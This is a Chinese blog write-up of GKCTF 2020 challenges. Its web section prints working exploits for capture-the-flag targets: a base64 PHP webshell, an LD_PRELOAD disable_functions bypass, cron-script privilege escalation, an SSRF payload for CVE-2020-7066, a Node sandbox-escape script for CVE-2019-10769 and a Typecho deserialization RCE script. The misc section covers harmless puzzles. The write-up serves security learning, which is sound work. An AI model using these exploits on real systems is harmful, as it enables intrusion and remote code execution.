GKCTF部分题解

web

ChickIN

代码审计

<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

可以看出只要传参Ginkgo就可以执行代码。
看看disable_fuctions
在这里插入图片描述
发现大部分系统命令执行都被ban了,也就是说无法getshell。
于是我们再写个小马,传入到Ginkgo上,看看能不能用蚁剑连上去(本来可以修改编码后直接连的,但我没有成功,就干脆整了个小马)
Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==&a=phpinfo();
测试后发现可行,于是用蚁剑连上。
在这里插入图片描述
flag无法读取。
看见根目录下有个readflag,应该是要我们想办法运行readflag。
这个其实和去年geek的RCE_ME很类似,需要我们利用.so文件劫持系统函数,绕过disable_functions。
原理如这篇文章所示
具体做法如下:
我们将这里的bypass.php和github上的bypass_disablefunc_x64.so文件一起上传至/tmp文件目录下,传参

Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==&a=include("/tmp/bypass.php");&cmd=../../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.so

即可得到flag.

老八小超市儿

一开始是很艰难的,直到工作室的师傅找到了这样一篇文章然后就可以直接上蚁剑了。
在根目录下看到flag文件内容:flag{this_is_fake_flag/true_flag_in_/root}
发现权限不够,又发现有个auto.sh的文件,内容如下:

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

这个auto.sh文件应该是root权限,我们权限不够,无法编辑。
于是我们找到makeflaghint.py文件内容如下:

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

修改一下,利用os.listdir()来读去root目录,然后再读取flag内容即可得到flag。值得注意的是,根据auto.sh可以知道我们是每60s运行一次py文件,所以最好先在本地跑一跑,不然一次一次试会很麻烦。

CVE版签到

题目提示了CVE-2020-7066
进去点击之后如下:
在这里插入图片描述
抓包后得到hint:
在这里插入图片描述
于是用该cve得到下面的画面
在这里插入图片描述
记得一定要对\0进行URL编码
看到tips,得到payload:?url=http://127.0.0.123%00www.ctfhub.com即可得到flag。

EZ三剑客-EZweb

点进去,F12看到提示:

eth0      Link encap:Ethernet  HWaddr 02:42:ad:62:04:0a  
          inet addr:173.98.4.10  Bcast:173.98.4.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:93 errors:0 dropped:0 overruns:0 frame:0
          TX packets:116 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:16125 (16.1 KB)  TX bytes:18113 (18.1 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:24 errors:0 dropped:0 overruns:0 frame:0
          TX packets:24 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1376 (1.3 KB)  TX bytes:1376 (1.3 KB)

试试173.98.4.11,发现刚好在这个机子上:
在这里插入图片描述
然后是猜测端口,猜测6379端口(redis)或3306端口(mysql)。发现是6379端口。
在这里插入图片描述
现在我们打断一下,先了解一下gopher协议。
在这里插入图片描述
再看看一个我找来的gopher协议包的内容:

gopher://127.0.0.1:80/_POST /index.php?action=login HTTP/1.1
Host:127.0.0.1:1000
Cookie:PHPSESSID=1f546328759632456215236845122365;
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:null
Transfer-Encoding:chunked

可以看到,它和http协议十分相似,但要注意的是,回车换行需要使用%0d%0a,参数之间的分隔符也用URL编码。
接下来参照这篇文章的方法即可得到payload。

EZ三剑客-ezNode

这题关于一个CVE:CVE-2019-10769,用这个payload打就可以了

#GKCTF2020 web eznode
import requests
print(requests.post('http://17ad6e6c-33bf-4ef0-b192-60125e64e7dd.node3.buuoj.cn/eval?delay=2147483650', data={
'e': """(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()"""}).text)
EZ三剑客-ezTypecho

这题主要的考点有两个,一个是在install.php的230行
在这里插入图片描述
因为没有session_start(),所以我们要用下面这种方法进行绕过
在这里插入图片描述
另一个就在下一行的unserialize(),这个直接搜索Typecho反序列化就可以找到一大堆poc。
然后写个py脚本发包就行了:

#GKCTF2020 web EZTypecho
import requests

url = "http://be21639b-30a2-477c-a833-35ead714351f.node3.buuoj.cn/install.php?finish=1"
files={'file':"123"}
headers = {'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF9jaGFyc2V0IjtOO3M6MjA6IgBUeXBlY2hvX0ZlZWQAX2l0ZW1zIjthOjE6e2k6MDthOjU6e3M6NDoibGluayI7czoxOiIxIjtzOjU6InRpdGxlIjtzOjE6IjIiO3M6NDoiZGF0ZSI7aToxNTA3NzIwMjk4O3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6ImNhdCAvZmxhZyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czozOiJRQVEiO30='
           ,'Referer':'http://be21639b-30a2-477c-a833-35ead714351f.node3.buuoj.cn/install.php'}
re =requests.post(url,files=files,headers=headers,data={'PHP_SESSION_UPLOAD_PROGRESS':'1233456'})
print(re.text)

MISC

Pokémon

根据提示,在游戏中前往108号大道,树的样子就是flag。

code obfuscation

分离出一个加密过的rar文件,有加密,先放一放。
打开图片,发现是一个二维码,但歪了,我们在ps里,用Ctrl+T将它矫正,然后用在图像->调整->色阶中把左边的色阶拉满,效果如图:
在这里插入图片描述
扫出来是base(gkctf)。
也就是说压缩包密码是经过base编码的gkctf,在测试了所有的base编码之后,发现是base58编码。
base58在线解密网站:http://www.metools.info/code/c74.html
打开压缩包后发现两个文件。
打开文件1,发现一长串经过js压缩加密混淆的代码,通过在线解密后,得到下面的代码:

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z 
do 
eval An="n"
done 
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
do 
eval An="n"
done 
num=0 
for n in a b c d e f g h i j 
do 
eval Bn="n"num=$((num+1))
done 
alert("Bk='';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")

看看flag3.png
在这里插入图片描述
解密后得到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值